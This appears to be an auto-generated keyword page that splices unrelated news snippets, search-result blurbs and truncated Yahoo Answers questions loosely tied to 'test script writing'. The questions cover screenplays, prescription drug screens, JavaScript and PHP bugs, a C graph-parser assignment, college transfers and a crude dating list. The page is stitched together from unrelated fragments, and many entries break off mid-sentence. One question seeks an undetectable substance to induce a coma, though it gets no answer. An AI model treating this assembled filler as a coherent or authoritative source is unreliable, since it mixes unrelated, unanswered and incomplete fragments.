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'Gaming' Sends Boys' Test Scores Sliding - MedicineNet.com

... at Denison University in Ohio, said that "we can never say with 100 percent certainty that it's playing video games that causes kids to have delays or deficits in reading and writing performance, but ... we can be pretty confident that it's the ...

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'A-Team' creator Stephen J. Cannell successful as best ... - NorthJersey.com

I wanted the novel be the litmus test to see if this would be part of the next chapter of my life," said ... So how do today's authors make the transition to script writing? "Authors have to give up their greatest tool — the [narrator's] voice ...

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At Issue - Product Design & Development

Now, I’m not going to claim expertise on the subject of writing instruments – I thought the $20 Cross pen ... However, we always advocate for research to validate concepts and test performance. Many clients have tightened up on research budgets ...

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The Wimpy Kid does Hollywood - Baltimore Sun

Greg's ambition to be popular became the script's organizing principle ... I learned the discipline of cartooning, and I got addicted to writing for a large audience. I felt certain coming out of that school that I had found my path."

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Ata Demirer: Humor makes my life easier - Today's Zaman

It hit me when Arif Sağ asked me, “You keep acting here and there, but why don’t you write a script and see if it works out or not?” Writing the script was like a painkiller ... I had my first stage test 12 years ago, and now I have my script ...

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A man for all reasons - Times Colonist

He's also writing A Dolphin's Tale for Alcon Entertainment (Blind Side). The script focuses on a boy's friendship with an injured ... Smith's own directorial skills will be put to the test again this summer when he yells "Action!" on The McLean Boys ...

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Java founder emphasizes Oracle's commitment - Network World Fusion

Offered in a test release last year, Java Store was set up as an online ... Gosling expressed disdain for the politics of the endeavor, with engineers involved in discussion rather than writing code. "You have to talk to people. For lots of folks ...

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Microsoft Windows chief: 'We're all in' for IE9, HTML5 - Seattle Post Intelligencer

The browser also supports HTML5, an emerging standard for writing Web pages. And with HTML5 video, another emerging Web ... Developers want to use the same HTML, the same script and the same markup across browsers," Hachamovitch said. "

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ECCC: Spotlight on Stan Lee - Comic Book Resources

What do you enjoy about the comic book medium that's different from writing novels?" Richie asked ... crowdmembers vocally defended the Green Goliath, Lee told them they'd all passed his test: "So you can stay here a little longer. I won't send you ...

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The Big Screen Bulletin 3.15.10: Alice in Wonderland ... - 411mania.com

Len Archibald: I wrote the first draft of the script in two months and spent a third writing about ten more ... was friction with him from the very beginning as far back as his screen test which he basically blew off. He wasn't the first choice of ...

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Top Test Script Writing Results

Test script - Wikipedia, the free encyclopedia
A test script in software testing is a set of instructions that will be performed on the system under test to test that the system functions as expected.

QA - Writing test scripts
I am taking on new .NET projects. Please use the contact link if you'd like to discuss rates and availability. I am a software developer living in southern Michigan (1 hour from ...

Writing a Manual Test Script
IBM Rational Manual Tester makes it easy to write scripts for manually testing software applications.

Test - provides a simple framework for writing test ...
Test - provides a simple framework for writing test scripts

Using and writing Ghostscript testing scripts
Using and writing Ghostscript testing scripts Table of contents. General overview; Running tests. Individual tests; Regression testing. Writing new tests

Other Test Script Writing Results



Open Question: Lunesta on drug screen?

I know Ambien and Sonata can be tested for on drug screens (specific test required). If you suspect a patient is abusing (and obtaining) multiple scripts for Lunesta, is there a test out yet for Lunesta? I know a couple of years ago there was not, but wondering if the times have changed? No intention of ratting anybody out; I just don't want to write for scripts patient is getting elsewhere:) It is a schedule IV controlled substance and in FL the DEA has been very zealous. more

Open Question: How do i write a variable to a text file in Javascript?

I have an html page with some javascript in (the page itself pulls in a flash movie and the javascript is used to control fscommand messages), but i am hitting an error with this part of the code: var pageObj = InternetExplorer ? window.page : window.document.page; if ( command=="getPageURL" ) { var page_xml_url = getPageXmlUrl(); if ( page_xml_url!=null ) { pageObj.SetVariable( args, page_xml_url ); pageObj.SetVariable( "_level0.prepared", "true" ); } else { window.location = "about:blank"; alert( "Parameter 'sco' is required!" ); } the alert always appears but i'm not sure why. i am trying to find out what 'sco' has inside once it is passed to the getPageXmlUrl() method: function getPageXmlUrl() { var sco = getParam( document.cookie, "sco" ); //sco = pathMerge( window.location, sco ); return sco; } i created a function to write to a file called WriteToFile() in order to see if anything is being stored in 'sco': function WriteToFile(sco) { var fso = new ActiveXObject("Scripting.FileSystemObject"); var s = fso.OpenTextFile("C:\\Test.txt",8,true,0); s.WriteLine(sco); s.Close(); } i called the WriteToFile function just before the return statement in the getPageXmlUrl() function with 'sco' as the paramenter, but i cant seem to print any variable into the text file! i can print text straight into the file (e.g. s.WriteLine("Hello world");) but if i put a variable in the WriteLine function it fails. How can i write a variable to a text file? more

Open Question: Can someone translate this for me? (french)?

Can someone translate this for me? (french)? I have a french listening test tomorrow morning but i forgot to take home the script and i only have the verbal part I was wondering if anyone is willing to help me.. i really did try to just listen and write down what they say but my french stinks so i dont understand very much when they talk fast at certain parts. I only need it subbed until 1:45 and please write out every word for me! Thankyou very much!!!! I owe you a million!! (its one of those old parlez moi vids with Sol so i cant find the episode anywhere >.<) http://www.sendspace.com/file/4g55zd more

Voting Question: Ahhhhhhhhhhhhhhhhh! Help!?

1. Geneva is creating a list of occupations that interest her. She should include in her list: (1 point) only one career. only careers recommended by other people. only careers suggested in the results of online tests. several careers discovered in a variety of ways. 2. The major sources of information on possible occupations for you include: (1 point) yourself. other people. print and electronic media. all of these. 3. When you are making a list of careers that interest you, you should always: (1 point) evaluate each option right away, to keep your list manageable. note the source of your information, in case you need to find out more. keep your notes brief, including only the job title, to allow time to list lots of jobs. do all of these. 4. Your public library can provide you with: (1 point) books and other printed information about careers. access to Internet sites and other electronic materials about careers. staff members to help you find materials. all of these. 5. Logan asks his friends, family, teachers and coaches if they know anybody who can tell him more about a career in which he is interested. Logan is: (1 point) networking. assessing his values. transferring his skills. doing all of these. 6. If you are nervous about requesting an informational interview, you can: (1 point) write your request in a letter or e–mail. prepare a script to use duing a phone call. practice your request before actually making it. do all of these. 7. The person Rowan asked for an informational interview turned her down. Rowan should: (1 point) get angry and slam down the phone. thank the person anyway. quit asking people. do all of these. 8. Dale has just come home from an informational interview. He should: (1 point) write the interviewee a thank–you note. compile his notes from the interview. follow up on the research tips the interviewee gave him. do all of these. 9. A job meter is a way for: (1 point) companies to compare people who apply for jobs. employers to supervise workers when managers cannot see them. you to evaluate your continued interest in a potential career. you to calculate the amount of money you will need to earn. 10. Aster cannot find anyone who is doing the job she wants to learn about. As an alternative to an informational interview, Aster can: (1 point) use video interviews and online job profiles. watch television series that dramatize the career. write a story about what she hopes the career will be like. do all of these. more

Open Question: 18th birthday party games?

Okay, so I am going to be 18 in five months and I have an idea on food, some games and a theme. I just need ideas on games. The theme is murder mystery but I do not know the decade since I am having someone write the scripts and stuff for me.It's going to be held at a hotel suite. I have a few ideas. My friends (4 or 5) are going are ALL 16. I'm the eldest. The color scheme would be like blacks, whites and silver. THERE WILL BE NO BOYS ALLOWED!! I have ideas on some games. Do you have ideas for a movies? My ideas of games include: •Clue (the board game) •Clues Hunt (Scavenger Hunt) •Guess the taste (Food test) •“Guess the person” (Like a profile of a person and they have to guess who that person is by stating their "animal" or "animal guild" personality) PS. I need help with making up a questioner and the different animals. Please list your ideas. Please be orignal and no classic stuff like "truth and dare" or "Pillow fight". Please go with the theme too please. NO SEXUALLY or Inappropriate ideas please! I get enough of that at school. more

Resolved Question: I recently got drawn urine, but drug test wasn't written on the script, is it legal for them to drug test?

The prescription said cbc comprehensive metabolic panel and lipid panel, i know these aren't drug tests, i just wanna know if its legal for them to drug test me if it isn't on the prescription. I am a minori still need more answers, i take "medication" that shows up as a false positive, they can take urine to check enzyme levels, not drug test i know that, i just need to know if its possible that they have drug tested me more

Resolved Question: Will I make it as a screenwriter?

Growing up all the way up to now, I've always liked creating stories in my mind and I feel I've never been good at anything, sports, school, video games, other than somewhat creative stories, I'm not the best, but I feel I have no talent in anything else. So anyway, I have a plan, instead of writing books, I want to go into screenwriting. So far, I have nothing, this is because I typed 60 pages of the script so far, but it was deleted by accident, tragic. But I'm lucky to have a friend making phone calls for me to producers telling them of my story and that I want to start writing the script. Do you think this is a good start, or should I have at least some of the script done already for them to accept? Also, is the deleted 60 page script a message from God himself that I won't make it as a screenwriter to you religious people, or the work of the devil for me to turn on God???Or is it a test from God seeing how bad I want this career, I would start all over again on the same script idea?Fourth question, sorry, can you give me some tips, ; ) thank you, I really need this bad, I'm not such a bright kid, and I want a bright future, me working at a pizza place at age 50 won't be the life of me because I wasn't good at anything. more

Resolved Question: How do I get tested for dyslexia and what will happen in a test? (a bit long but pleeeease help me)?

I study twice as much as my classmates to get the same grades, so they all think I'm just as clever but I have always struggled with these kind of things: Spelling, I have never been able to spell correctly The alphabet- I feel so embarrassed even saying this but I learned to spell phonetically (ah buh cuh duh eh) and I still can only spell words like that, if someone asked me to spell a word I would have to think about it, write it, then read it in my head letter by letter and when I read letters I sound them out phonetically then I have to think about what that would be as a letter (ay bee see dee eee) and say it out individually and it takes ages and is really embarrassing. Reading out loud- I can read in my head and if I read ahead and know the lines and the words I can read aloud all right like a script but if I am put on the spot my reading is so slow, I get mixed up and fragmented on big words with lots of syllables or sounds in them. It's really horrible when teachers put me on the spot to read in school and I always pass when we read as a class because it would take me so long with so many mistakes it’s not worth it. Writing- my handwriting is illegible unless I write in not joined up or spend extra time on it than I usually would. Copying- when I copy I make mistakes, a lot of mistakes. When I copy from the board I cannot do it in time, it takes me forever as I cannot read it and write it and understand it all at once. I miss out on what the teacher is explaining because I cannot listen to him while copying down stuff from the board. Simply writing the words even without understanding them from the board onto my paper takes too much effort and is really hard. Ever since I was really small I copied things out wrong, even on worksheets from one line to the line beneath I’d have copied it down wrong. Slow working- I never completed work, I was always slow, I just can’t do it quickly. I'm 16 now and I have hidden this my whole life. When I was about 8 my friend took a look at a failed spelling test and offhandedly commented that I might be dyslexic like her brother and I looked it up on the net and it sounded like how I was so I asked my teacher and she laughed at me and I felt really awkward and upset by that so I never said anything again. I can't read like normal or spell or copy even simple stuff and I've hidden it for a long time (and I'm pretty smart so hiding is worked) but it's too much for me now, I'm failing my A Levels because I can't do this (the things I wrote above) so I want to find out... What should I do, I want to get tested to find out if it is dyslexia and I'm scared to not know what they're gonna so? Please help me? Thank yous so much.I live in England, UK if that makes a difference.There is a spell check feature on Y!A. I use it out of curtsy to other users who would otherwise have to decyfer (that's coming up with a red line but I don't know the real spelling sorry) my spellings... I have never been able to spell. I end up writing things how they sound.Oh and I can't ask a parent, I only have one and we don't have the kind of relationship where I could say something like this... it's my biggest secret and I always hide my difficulty because I'm ashamed that I don't understand and get stuff all wrong but enoughe is enoughe... if people get better at this kind of stuff I want to to. more

Resolved Question: Could someone put an old man into a coma by some injection of a substance?

I am writing a movie script, and one character is an old rich man with three months to live. I want to know if there is something his (evil) niece could inject into him that would make him go into a coma, but wouldn't be detected on standard blood tests, but would stay in the bloodstream long enough that it could be detected about a week later??? Any ideas??? more

Resolved Question: i am writing a script for a short story for my English project please help?

i am at high school...beside practicing for SAT s tests i have a lot of school projects ..one of them is writing a script for the short story" the masque of the red death" so we act it later on ...i started with the dialogue i know it must be short and right to the purpose but now i am stuck please do you have any tips for writing at least a convincing dialogue??? more

Voting Question: Can someone help with this c program i cant figure out how to do it at all.?

A Graph 􀂄 In computer science, a graph is an abstract representation of a set of objects where some pairs of the objects are connected by links. 􀂄 The interconnected objects are called vertices or nodes. 􀂄 The links that connect some pairs of vertices are called edges. 􀂄 The edges may be directed or undirected. 􀂄 In some graphs, each edge has a weight. 􀂄 In an undirected graph, two vertices u and v are connected if the graph contains a path from u to v. 􀂄 A graph is connected if every pair of distinct vertices in the graph is connected; otherwise, the graph is disconnected. 2 2 Project 2: Graph Parser Write a C program, graphParser.c that: 1. Reads characters from the standard input stream using the standard library function getchar(). 2. Determines whether each line encodes a valid graph. 3. If a line encode a valid graph, then the program: a) Counts the edges, b) Counts the nodes and c) Determines whether the graph is connected. 4. If the line does not encode a valid graph, then the program prints an error message. 5. Output will be checked by an automated script and must 3 adhere to a strict format. Project 2: Graph Format Example 􀂄 In this project, the graphs are undirected and without weights. 􀂄 Graphs are encoded as a list of pairs. For example: (A,C) (C,B) (Y,X) (X,Z) (B,W) (W,Z) (W,Y) \n Z For the graphs used in this project: ■Edges are undirected. ■Edges do not have weights. ■Nodes do not have coordinates 4 3 Project 2: Graph Syntax Rules (A,C) (C,B) (Y,X) (X,Z) (B,W) (W,Z) (W,Y) \n 􀂄 Every pair must be enclosed in matching parenthesis. 􀂄 No extra parenthesis are allowed. 􀂄 Each node name must be a single upper case letter: A-Z. 􀂄 The nodes in each pair must be separated by a comma. 􀂄 Each pair must consist of exactly two nodes. 􀂄 Every graph must end with a ‘\n’ character. 􀂄 Ignore all space characters. 􀂄 Ignore all characters between “//” and ‘\n’. 􀂄 No graph may consist of more than 1024 characters (including spaces, comments and the terminating ‘\n’). 􀂄 No edge may be repeated: (A, B) and (B, A) is a repeat. 􀂄 No extraneous characters are allowed in a graph. 5 􀂄 Self edges are ok: (A, A). 􀂄 A blank line, a line with just spaces and/or comments Project 2: Special Cases denotes a legal graph with no nodes and no edges. In this project, empty graphs are defined as connected. 􀂄 // containing spacees between //s ins not ca comment. 6 4 Project 2: Output Format 􀂄 For every line of input, one line of output must be sent to the standard output stream. 􀂄 If the input line is an invalid graph, then the output must be: printf("%5d) Error\n",inputLineNumber); 􀂄 If the input line is valid, then the output must be: printf( "%5d) edges=%5d, nodes=%5d, connected=%1d\n", inputLineNumber, edgeCount, nodeCount, isConnected); Where connected=1 if the graph is connected, and 0 if it is disconnected. 7 Project 2: Grading Rubric 58 Points: The given test file: graphParser.data contains 29 tests. For each failed test, two points are lost. Every line reported by /usr/bin/diff is a failed test. Even if the difference is only a single blank character! Below, diff returns nothing, thus all 58 points are earned. xbox 60 % gcc graphParser.c -o graphParser xbox 61 % graphParser <graphParser.data >myOutput xbox 62 % diff myOutput graphParser.out xbox 63 % 12 Points: Must pass diff test on a file of 6 unknown inputs. 30 Points: Follows CS-241 Coding Standard: including quality, quantity and neatness of comments, no dead code, and Best Practices (functions not being too long, nestings not needlessly deep, and avoidance of duplicate code). 8 5 Project 2: Extra Credit (up to 10 points) 􀂄 Submit a second version of your code that for each valid graph prints: printf( "%5d) edges=%5d, nodes=%5d, components=%5d\n", inputLineNumber, edgeCount, nodeCount, componentCount); Where componentCount equals the number of connected components in the graph. For a connected graph, the number of connected components is 1. 9 Finding a Solution: The Plan 􀂄 What is the easiest way to validate the syntax? 􀂄 Edges enclosed in parenthesis, 􀂄 Comma between nodes, 􀂄 No extraneous characters, 􀂄 Legal node names, ... 􀂄 What is the easiest way to validate the graph? 􀂄 No repeated edges 􀂄 What else would make an invalid graph? 􀂄 What is the easiest data structure needed? 􀂄 What is the easiest way to count the edges? 􀂄 What is the easiest way to count the nodes? 􀂄 What is the easiest way to determine connectitivity? 10 6 Project 2: Getting Started: Get the Input 􀂄 The textbook gives a function called getline() in section 1.9. 􀂄 This function uses getchar() inside a loop to read a full line of text. 􀂄 The book's getline(), reads every character in the line up to a maximum length, counts every character and copies every character into a char array: s[]. That is not too different from what you nesource code for this would be much appreciated more

Voting Question: Can you translate this for me in Spanish?

I am writing a software script and need the following translated in spanish 1. Thumbnail deleted successfully. 2. Not enough permission to delete the thumbnail. 3. Your password has been sent to your email address. 4. Following is the username and password for your Photo Gallery 5. The password was requested from 172.0.1.0 6. The email address test123@yahoo.com does not exist in the database 7. Email Address 8. Please enter your Registered Email Address and click Submit. You will receive an Email shortly with your username and password. 9. Help & Support 10. If you are experiencing any kind of problem, please read the User's Guide included with this product. 11. If you still cannot solve your problem, please read the FAQs section at test.com or post your issue on our unofficial support forum 12. You can also purchase official support form Parallel Exchange and our support team will be glad to help you with any questions, bugs, errors and glitches. 13. Support Options 14. Purchase Official Support 15. FAQs section 16. Unofficial Peer-to-Peer Support Forum 17. Gallery Layout was saved successfully 18. Could not save Gallery Layout more

Resolved Question: Can you check my grammar in english?

Hello, I am preparing an English speaking test and here is my script. Please correct and improve them. Thanks. =) ************* ** I am living in a neighborhood where I feel save and connected to others. I know people in some more-friendly neighborhoods who helped my family a lot when we were moving. At that time, they told us where the good places to eat are and where the good places to shop are. In my village, we respect neighbor's privacy each other. No one makes noises that might disturb neighbors, such as vacuum cleaners, music, and loud talk in night. ** Police officers wear uniforms. Formal uniform comprises trousers and white or light blue shirt with black tie. They also wear a black hat and it features a badge sewn on the front and a bill. Police cars are white with a blue stripe and the word “Police” is written on it. Typical uses of a police car include transportation for officers to reach the scene of an incident quickly, to transport criminal suspects, or to patrol an area. The job of a police officer is to protect the peace, life and property. Also they apprehend criminals who break the law and endanger communities. ** Farm work has been generally hard and full of physical labor, but for some people it is the only work they will be happy doing. Our food comes from farms and it takes a long time for farmers to grow our food. First, farmers plant crops in the spring. Then they help plants grow all spring and summer. In the fall, the crops are ready to be pick-and eaten. In farm, a house is in the middle and the gardens surround the house without covering the whole area and right next to the house, there are stables for horses, After visiting the farm, I enjoyed myself very much and sometimes think it would be nice to live at the farm. Everything looks so pleasant. ** I am going to my school by subway. From here, first take the red line and transfer to blue line at DD station. Then keep going about 10 minutes. When you get SS station get off the subway and fine the exit 3. You go straight till you meet the pizza hut then you can see my school’s sign in your right side. You can’t miss it. My school building is yellow with some brown so attractive and traditional outside, well groomed. Inside is comfortable and warm looking colors wise and by the way it is decorated. It is very neat and tidy, but also very comfortable. more

Resolved Question: 101 things guys wish girls knew but they don't.. haha are they true? readd!?

1. When we ask what's wrong, tell us or shut the ***** up. Saying "nothing" and then continuing to be a bitch is entirely unacceptable. 2. Don’t expect guys to say as many sweet things as they do in the movies. (It takes a lot of guys and their wives to come up with those scripts). 3. Guys may be flirting around all day but before they go to sleep, they always think about the girl they truly care about. 4. Before they call, guys try to plan out a little about what they're gonna say so there aren't awkward pauses, but once he's on the phone he forgets it all and makes it up as he goes. 5. Guys go crazy over a girl's smile. 6. Guys will do anything just to get you to notice him. 7. Guys hate it when you talk about your ex-boyfriend or ex love-interest. Unless they're goin for the let-her-complain-to-you-and-then-have-her-realize- how-wonderful-and-nice-you-are method. 8. A guy who likes you wants to be the only guy you talk to. 9. Boyfriends need to be reassured often that they're still loved. 10. Don't talk about your guy friends to your boyfriend. 11. Guys get jealous easily. 12. Guys are more emotional than they'd like people to think. 13. Giving a guy a hanging message like "You know what?!..uh...nevermind.." would make him jump to a conclusion that is far from what you are thinking. And he'll assume he did something wrong and he'll obsess about it trying to figure it out. 14. Guys are good flatterers when courting but they usually stammer when they talk to a girl they really like. 15. Guys hate asking parents for money to buy girls presents. So they come up with ideas like saving their lunch money for a week. But it never works because guys are always hungry so they end up asking the parents for money anyway. 16. Girls are guys' weaknesses. 17. Guys are very open about themselves. 18. It's good to test a guy first before you trust him. But don't let him wait too long. 19. Your best friend, whom your boyfriend seeks help from about his problems with you may end up being admired by your boyfriend. 20. If a guy tells you about his problems, he just needs someone to listen to him. You don't need to give advice. 21. A usual act that proves that the guy likes you is when he teases you. 22. Guys love you more than you love them if they are serious in your relationships. 23. Guys will brag about anything. 24. Guys use words like hot or cute to describe girls. We rarely use beautiful. If a guy uses that, he likes you. 25. Guys think WAY too much. One small thing a girl does, even if she doesn't notice it can make the guy think about it for hours, trying to figure out what it meant. 26. Guys seek for advice from girls not other guys. Because most guys think alike, so if one guy's confused, then we're all confused. 27. Any guy could write out a rulebook or advice book for flirting, but no guy can write out a book about relationships. 28. Try to be as straightforward as possible. 29. A guy has to experience rejection, because if he's too-good-never-been-busted, never been in love and hurt, he won't be mature and grown up. 30. If the guy does something stupid in front of the girl, he will think about it for the next couple days or until the next time he spends time with the girl. 31. No matter how much guys talk about asses and boobs, personality is key. (I don't know about this one....) 32. Guys learn from experience not from the romance books that girls read and take as their basis of experience. 33. Guys worry about the thin line between being compassionate and being whipped. 34. If a guy looks unusually calm and laid back, he's probably faking it and is spazzing inside. 35. When a guy says he is going crazy about the girl, he really is. Guys rarely say that. 36. When a guy asks you to leave him alone, he's just actually saying, "Please come and listen to me." 37. Guys don't really have final decisions. 38. If a guy starts to talk seriously, listen to him. It doesn't happen that often, so when it does, you know something's up. 39. If your best guy friend seems to avoid you or is never around when you're with your boyfriend, he's probably jealous and likes you. 40. When a guy looks at you for longer than a second, he's definitely thinking something. 41. Guys like femininity not feebleness. 42. Guys don't like girls who punch harder than they do. 43. A guy has more problems than you can see with your naked eyes. 44. Don't be a snob. Guys can be intimidated and give up easily. 45. Everything in moderation. Put on makeup, wear perfume. Just not too much. 46. Guys talk about girls more than girls talk about guys. 47. Guys hate rejection, but they hate being led on even more. 48. Guys really think that girls are strange and have unpredictable decisions and are MAD confusing but somehow are drawn even more to them. 49. A guy would give his left nut to be able to read a girl's m more

Resolved Question: PHP 5 - Why does this print statement not do what I expect?

I have the following print statement written in PHP <?php print "This spans\nmultiple lines. The newlines will be\noutput as well."; ?> When I test the script I get the following output in the broweser This spans multiple lines. The newlines will be output as well. However the tutorial I am following insists it should come out like This spans multiple lines.The newlines will be output as well. This does in the source but not when displayed in the browser can you explain why please? more

Resolved Question: Mashup education, experience, and skills at 24. What should I do if establishing a school is my eventual goal?

In college I have studied business management, European politics, advertising, philosophy (four of these one year each), and performing arts communication (am in junior year, will be graduating with a bachelor's degree in communication next year). I failed my first four attempts at college not because of laziness or Iack of commitment; but because I made some ignorant choices in my personal lives that required a lot of cleanup, wrecked my relationship with my family, and compromised my mental health. In between I took a year off to take care of myself and make amends at home, got back into college, and gradually pursue the dream again. The dream has been in my heart practically all my life: I want to set up the first performing arts high school in my country that provides hard working, talented teenagers the opportunity to test the waters of professional showmanship within the safety of a responsible educational institute before they'll have to make up their minds if this is what they want to pursue in tertiary education (e.g. conservatoires or performing arts college) or for life. At some point in my life, I want this dream to actually come true, but I don't know yet where to start. I'm 24 and have been in college since 16 after accelerating two grades in high school, so my first go at university was a rushed decision. However, I always knew that I would want to own my own business one day (i.e. the school) and that I will need to know how to raise capital, sell the product (school programs), lead people, and sustain a long living organisation. Out of my five studies, the one that has the biggest impact on me was probably advertising, which helped me understand how brand development, corporate culture, corporate identity, publicity and image work as part of a company's marketing strategy. I did well in advertising but had to leave to take care of my personal issues. Initially I chose it was because I was too chicken to audition for music school (I had stopped playing music for about 3 years then, I'd probably flunk anyway), but it's creative and based on the business principles I have encountered in a previous study. My current study, PA, has been the most stable, but the program sucks. The campus is originally a PR school that happens to be attended by a number of local celebrities; so they made a communication program tailor made for students intending to pursue a career in showbiz. We ended up getting raw public relations material with odd classes like anthropology, law, and telecommunication technology, with two supplementary art classes per semester. I don't mind the academic subjects, but am alarmed at the lack of theory basis, technique drilling, and emphasis of dedicated showmanship in these classes. We don't even get to choose what kind of performing arts we intend to specialise in, we just get some singing classes and some acting classes but they're basically just throwing the baby in the bath water. So I can sing a bit, act a bit, dance a bit, write scripts, direct, and produce a production satisfactorily, but I can do none of these at a professional level. The reason why I didn't take education major was because I'm not interested in being a classroom teacher. My goal is to raise the capital to start this school, establish a particular brand of education with a distinctive corporate culture, and lead and train the decision makers to run the business responsibly. However, considering that I will need to know the principles of setting up curricula and methods of approaching students to bring out the best of them, I am willing to consider pursuing a master's degree in education. When it comes to work experience, I have had many jobs but not been able to keep them. My longest job was selling skin care products and recruiting people for an MLM company; I lasted 2 years but can't call that a career. Other than that I have worked mostly doing on and off translation projects, and briefly worked in a clothing shop and as an MC for concerts and corporate events. Now that my musical skills have died, my remaining best gifts remaining would be languages (I'm trilingual), public speaking, fusion cooking, leadership, strategizing, and writing... but I have no formal training in any of these and (except for languages and writing) have barely used them in professional settings. I've considered to start working in TV broadcast or an advertising consultancy... they can always use some creative entertainment and I need to make money anyway, but so far my attempts to get into the industry have not been successful. Furthermore, at this point I just can't see it yet drawing me closer to my later goal of founding a performing arts school. I just don't want to make another bad decision I'd regret later in life. A prospective employer once told me that I know what I want, but currently do not have what it takes to get what I want. He's right, but my life has only just begun and I can do somethI can do something to change that if I could just map out where I want to go, learn, work, and consistently dedicate myself to it. I don't believe that my dream is impossible, but it will require breaking down into realistic baby steps I can rationally work on now, and constantly following up and revising strategies to get there. What I'm wondering is... how do people get into the education business? What did successful private school founders do when they were young? What kind of people did they hang around, and what kind of books did they read? Why did they have a passion for setting up this school? With the kind of education, work experience, and skills I have, what are some valuable things I can use to get closer to the dream? What kind of skills, experience, and further education will I have to pursue? And since I more

Resolved Question: Will anyone read my screenplay?

I have a script that I just finished. It's more or less a horror/thriller. It's 101 pages, and I wrote it with Celtx. It's not very well from my first read through of it, but I need more than just my own opinion. You can leave your email here for me to email it to you personally, or you can email me at: j_alen_smith@hotmail.com if you want to read the script. Here's a look at the plot: Four friends, (Claire, Joseph, Brad, Alissa), find themselves in the middle of a winding mystery and the targets of a dangerous plan. The intertwining stories of their lives come together in a final showdown when secrets are revealed, blood paints the walls, and lives will be shattered forever. These friends are about to face the ultimate test. They will be reminded of what lies outside of modern suburbia. This is their account for survival. This is their fate. *** And listen, I understand there are tons of amateur scripts. Mine is one of them, but I really, really want to have a fair shot at getting produced some day. If you're not interested, thanks for looking at this, anyway. more

Resolved Question: Why are my ankles swollen?

My feet, ankles, and calves are very swollen. The Dr. put me on Lasix today. My blood pressure has gone up for some reason. I feel like an ice cube. I went to the Dr. last week and he put me on thyroid medicine due to some blood tests that I had done the week before. I went back to see him today. My skin is dry, yet the Dr. said I am over hydrated. What do I do when I get thirsty if I am over hydrated? I also have very low energy and I can not focus on my school work, so the Dr. wrote a script for Adipex 37.5 to be taken once a day in the morning. Today after I took the first dose of Adipex I can tell you that I was able to focus much better. I am a 44 old male, 6'0 tall, 223lbs. with clothes on but last week I was 217lbs. I am sure the extra water has caused the gain in lbs. This is our second week back at school. Could the couch potato effect have caused the sudden changes in my body ? (three and a half weeks off from school.) Pardon me, but I have to go pee once again. more

Resolved Question: Can I get into Cornell, Brown or Boston College? (Transferring)?

Which of these schools will I get into? (Transferring)? Cornell Brown Boston College The College of the Holy Cross Bucknell University Colgate University Below are my Stats 19 year old Hispanic American male from NJ English Major Cumulative GPA: I'd guess around a 3.65 right now Two Years College 1st Year at Private LAC in NY GPA By Semester Fall 2008- 3.4 (World Lit- A-, Script Analysis- A-, Reflective Tutorial- B+, Pol. Philosophy- B) Spring 2009- 3.8 (Fin. Account.- A, Intro to Psych- A, Computer Computency Fundamentals- A-, Microeconomics- A, Honors Macroeconomics- B+) 2nd Year at Local CC in NJ b/c I was not given sufficient FA to return to my original college Fall 2009- 3.675 (General Chemistry- B-, Shakespearean Survey- A, College Math- A, Western Civilization- A, Music Appreciation- A) Spring 2010 Courses EN216 World Literature II, EN290 Topics in Literature, EN108 Creative Writing, FR101 Elementary French I, SO210 Deviance & Social Control Great recommendations from English professors at my first college. Ok ECs, nothing extraordinary. HS Stats- 3.4 GPA UW, 1900 SATs (CR-600/Math-580/Writing-720). Took two AP classes my senior year, English, and Government & Politics. Scored a 3 on both AP exams Took SAT Subject Tests in Literature, U.S. History and Chemistry. Will report scores if they are greatActually for my current semester courses I'm not taking SO210, the class I'm taking is RL101 Comparative Religion. more

Resolved Question: Python programming help?

i am taking the introduction to computer science course on MIT open courseware and my assignment was to write a python script that would calculate the 1000th prime number i wrote the code to generate odd numbers and test to see if they are prime and only to go up to 999 prime numbers since i would be skipping 2 my code is below but every time i run it i get caught in an infinite loop please some one tell me what im doing wrong: my code i've put > to indicate indentations since tabs arent included when i post code on yahoo answers: count=0 test_ans=1 prime=()#create empty tuple named prime to store prime numbers isprime=True #test variable to determine if number is prime is automaticaly #set to #true unless #number is evenly divisible by any other number other than #one while (count < 1000): #not including 100 since i am only generating odd #numbers son #i wont get the #first primenumber which is 2 >if test_ans==1: >>isprime=False#prevents errors in later calculation #and does not treat one as #prime >else: >>for i in range(2,test_ans): >>>if i%test_ans==0: >>>>isprime==False >>if isprime==True: >>>prime=prime+(i) >>>count=count+1 >test_ans=test_ans+2 print prime[-1]Thanks for the advice Namibnat but when i run the program with the code you gave i get the 1000th prime number is 1997 but when i look up the 1000th prime number with google it says the 1000th prime number is 7919 so we have a logic error somewhere not knocking your code it is much cleaner and more efficient than mine i just cant figure out why its giving me the wrong answerGOT IT!!!! finally figured out a way to do it using functions here is my final code: def isprime(test): ...if test==1: ... ...return False ...for divisor in range(2,test): ... ...if (test/divisor)*divisor==test: ... ... ...return False ...return True def numbers(): ... i = 1 ...while True: ... ... yield i ... i = i + 1 def prime_numbers(): ...for i in numbers(): ... ... if isprime(i): ... ... yield i i=1 for n in prime_numbers(): ...if i=1000: ... ...print p ... ...break ...i=i+i more

Resolved Question: Which of these schools will I get into? (Transferring)?

University of Virginia Georgetown University Boston College The College of the Holy Cross Bucknell University Colgate University Below are my Stats 19 year old Hispanic American male from NJ English Major Cumulative GPA: I'd guess around a 3.65 right now Two Years College 1st Year at Private LAC in NY GPA By Semester Fall 2008- 3.4 (World Lit- A-, Script Analysis- A-, Reflective Tutorial- B+, Pol. Philosophy- B) Spring 2009- 3.8 (Fin. Account.- A, Intro to Psych- A, Computer Computency Fundamentals- A-, Microeconomics- A, Honors Macroeconomics- B+) 2nd Year at Local CC in NJ b/c I was not given sufficient FA to return to my original college Fall 2009- 3.675 (General Chemistry- B-, Shakespearean Survey- A, College Math- A, Western Civilization- A, Music Appreciation- A) Spring 2010 Courses EN216 World Literature II, EN290 Topics in Literature, EN210 Development of the American Novel, FR101 Elementary French I, SO210 Deviance & Social Control Great recommendations from English professors at my first college. Ok ECs, nothing extraordinary. HS Stats- 3.4 GPA UW, 1900 SATs (CR-600/Math-580/Writing-720). Took two AP classes my senior year, English, and Government & Politics. Scored a 3 on both AP exams Taking SAT Subject Tests in Two weeks in Literature, U.S. History and Chemistry. Will report scores if they are greatAlso applied to Fordham University more

Resolved Question: Help with this php script?

